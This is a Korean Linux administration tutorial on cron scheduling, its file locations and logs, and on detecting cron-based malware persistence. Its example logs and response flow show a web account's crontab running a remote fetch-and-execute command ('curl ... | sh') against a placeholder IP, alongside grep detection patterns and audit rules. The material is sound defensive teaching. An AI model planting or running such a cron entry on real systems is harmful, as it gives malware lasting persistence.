리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다.
리눅스 시스템 기초 38 / 50 · Part 4. 프로세스·서비스·리소스
실습 환경: Rocky Linux 9 (10.0.0.200) / Ubuntu 22.04 (10.0.0.210) · 로그 출력은 형식 예시
이전 글: 37. systemctl 서비스 관리
36·37편에서 부팅할 때 자동 실행되는 systemd 서비스를 봤다. 이번 글은 정해진 시각마다 명령을 실행하는 cron 을 다룬다.
백업, 로그 정리, 인증서 갱신처럼 운영에 꼭 필요한 기능이지만, 공격자에게도 매력적이다. 한 줄만 추가하면 5분마다 악성코드를 다시 내려받아 실행 할 수 있고, 관리자가 프로세스를 죽여도 다시 살아난다. 채굴 악성코드가 가장 흔하게 쓰는 지속성 기법이 바로 cron이다(MITRE ATT&CK T1053.003).
이번 글에서 답할 질문:
┌─ 분 (0-59)
│ ┌─ 시 (0-23)
│ │ ┌─ 일 (1-31)
│ │ │ ┌─ 월 (1-12)
│ │ │ │ ┌─ 요일 (0-7, 0과 7은 일요일)
│ │ │ │ │
*/5 2 * * 1-5 /opt/backup.sh
| 표기 | 의미 | 예 |
|---|---|---|
* | 모든 값 | * * * * * = 매분 |
*/N | N 간격 | */10 = 10분마다 |
a-b | 범위 | 1-5 = 월~금 |
a,b | 목록 | 0,30 = 정각과 30분 |
@reboot | 부팅 시 1회 | 지속성에 자주 쓰임 |
@daily 등 | 축약 | 0 0 * * * |
예: */5 2 * * 1-5 = 평일 새벽 2시대에 5분마다 (02:00, 02:05 … 02:55).
| 위치 | 형식 | 누가 쓰는가 |
|---|---|---|
/var/spool/cron/<user> (RHEL) · /var/spool/cron/crontabs/<user> (Ubuntu) | 5필드 + 명령 | crontab -e로 사용자가 |
/etc/crontab | 5필드 + 계정 + 명령 | 시스템 |
/etc/cron.d/* | 5필드 + 계정 + 명령 | 패키지·관리자 |
/etc/cron.hourly · daily · weekly · monthly | 실행 가능한 스크립트 파일 | 패키지 (RHEL은 anacron, Ubuntu는 /etc/crontab의 run-parts가 실행) |
systemd .timer | Unit 파일 | systemctl list-timers (36편) |
at 대기열 | 일회성 | atq, /var/spool/at/ |
/etc/cron.allow가 있으면 거기 적힌 계정만 crontab을 쓸 수 있다. 없으면 /etc/cron.deny에 적힌 계정만 금지된다. 웹 서비스 계정(apache, www-data)은 crontab이 필요 없으므로 제한하는 것이 좋다.

crond(RHEL) / cron(Ubuntu) 데몬이 systemd 서비스로 실행된다.sh -c "<명령>" 실행. 그래서 프로세스 트리는 crond → sh → 명령이 된다(35편).>/dev/null 2>&1을 붙인다).실행 로그 위치 (배포판 차이)
| 배포판 | 로그 | 확인 |
|---|---|---|
| RHEL / Rocky | /var/log/cron | sudo tail /var/log/cron |
| Ubuntu | /var/log/syslog 안의 CRON 태그 | grep CRON /var/log/syslog 또는 journalctl -u cron |
cron 환경은 로그인 쉘과 다르다. PATH가 /usr/bin:/bin 정도로 짧아서, 터미널에서 잘 되던 스크립트가 cron에서는 "command not found"로 실패하는 일이 흔하다. 스크립트 안에서는 절대 경로 를 쓴다.
# 1) 내 crontab
crontab -l
crontab -e # 편집 (EDITOR 환경변수의 편집기)
# 2) 다른 사용자의 crontab (root 권한 필요)
sudo crontab -l -u apache
# 3) 모든 사용자 crontab 한 번에
sudo ls -la /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null
for u in $(cut -d: -f1 /etc/passwd); do
out=$(sudo crontab -l -u "$u" 2>/dev/null | grep -v '^\s*#' | grep .)
[ -n "$out" ] && printf '== %s ==\n%s\n' "$u" "$out"
done
# 4) 시스템 cron
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.{hourly,daily,weekly,monthly}/
# 5) systemd timer, at
systemctl list-timers --all
sudo atq
# 6) 실행 로그
sudo grep -E 'CMD|REPLACE|RELOAD' /var/log/cron | tail -20 # RHEL
grep CRON /var/log/syslog | tail -20 # Ubuntu
아래 출력은 형식 설명용 예시다.
① /var/log/cron (RHEL)
Mar 12 02:32:40 web01 crontab[5102]: (apache) BEGIN EDIT (apache)
Mar 12 02:32:41 web01 crontab[5102]: (apache) REPLACE (apache)
Mar 12 02:32:41 web01 crontab[5102]: (apache) END EDIT (apache)
Mar 12 02:33:01 web01 crond[701]: (apache) RELOAD (/var/spool/cron/apache)
Mar 12 02:35:01 web01 CROND[5230]: (apache) CMD (curl -fsSL http://203.0.113.50/s | sh >/dev/null 2>&1)
| 줄 | 의미 | 판단 |
|---|---|---|
crontab ... REPLACE (apache) | apache 계정이 자신의 crontab을 교체 | 웹 계정은 crontab을 쓸 일이 없음 |
RELOAD | crond가 변경을 감지 | |
CMD (curl ... \| sh ...) | 5분마다 외부 스크립트를 받아 실행 | 전형적인 채굴·봇 재감염 |
② Ubuntu syslog
Mar 12 02:35:01 web02 CRON[6120]: (www-data) CMD (curl -fsSL http://203.0.113.50/s | sh >/dev/null 2>&1)
형식은 약간 다르지만 (계정) CMD (명령) 구조는 같다.
| 의심 패턴 | 이유 |
|---|---|
| 웹·DB 서비스 계정의 crontab | 정상 운영에서 거의 없음 |
* * * * * 또는 */1~*/5 | 삭제돼도 빠르게 재감염 |
@reboot | 부팅마다 실행 |
curl·wget + \| sh/\| bash | 원격 코드를 받아 바로 실행 |
base64 -d, 긴 한 줄 인코딩 | 내용 은닉 |
/tmp, /dev/shm, .으로 시작하는 경로 | 숨김 실행 파일 (22편) |
>/dev/null 2>&1 | 메일·출력 흔적 제거 (27편) |
패키지 미소속 /etc/cron.d/* | 파일 추가형 지속성 |
채굴 악성코드는 흔히 cron + systemd + SSH 키 를 함께 설치한다. cron 하나만 지우면 다른 곳에서 다시 복구하므로, 36편의 서비스와 15편의 authorized_keys까지 함께 확인해야 한다.
# 모든 cron 소스에서 의심 키워드
sudo grep -rEn 'curl|wget|base64|/tmp/|/dev/shm|\|\s*(ba)?sh|@reboot' \
/etc/crontab /etc/cron.d /etc/cron.*ly /var/spool/cron 2>/dev/null
# 최근 7일 변경
sudo find /etc/cron* /var/spool/cron -newermt '-7 days' -type f -ls 2>/dev/null
# 패키지 미소속 cron.d 파일 (RHEL)
for f in /etc/cron.d/*; do rpm -qf "$f" >/dev/null 2>&1 || echo "NOPKG $f"; done
-w /etc/crontab -p wa -k cron_persist
-w /etc/cron.d/ -p wa -k cron_persist
-w /var/spool/cron/ -p wa -k cron_persist
[Alert] /var/log/cron: (apache) REPLACE (apache)
↓
[확인] crontab -l -u apache → */5 * * * * curl -fsSL http://203.0.113.50/s | sh
↓
[IOC] 203.0.113.50, 내려받는 스크립트 해시 (격리 환경에서 수집)
↓
[역추적] 02:32 access_log → 웹셸 요청 (25·35편)
↓
[범위] 같은 IOC를 가진 다른 서버의 cron, systemd, authorized_keys
↓
[Response] crontab 제거·백업, IP 차단, cron.allow 로 서비스 계정 제한, 웹 취약점 조치
/etc/crontab과 /etc/cron.d는 계정 필드 가 추가된다./etc/crontab, /etc/cron.d, cron.*ly, systemd timer, at./var/log/cron, Ubuntu /var/log/syslog(CRON).sh -c를 실행한다 → 트리는 crond → sh → 명령.curl|sh, base64, 임시 경로, >/dev/null 2>&1.다음 글 「39. CPU · Memory 관리」 에서는 33편 top에서 본 자원 지표를 깊이 다룬다. free의 available, 페이지 캐시, 스왑, vmstat, 그리고 메모리가 부족할 때 커널이 프로세스를 강제 종료하는 OOM Killer 를 정리한다.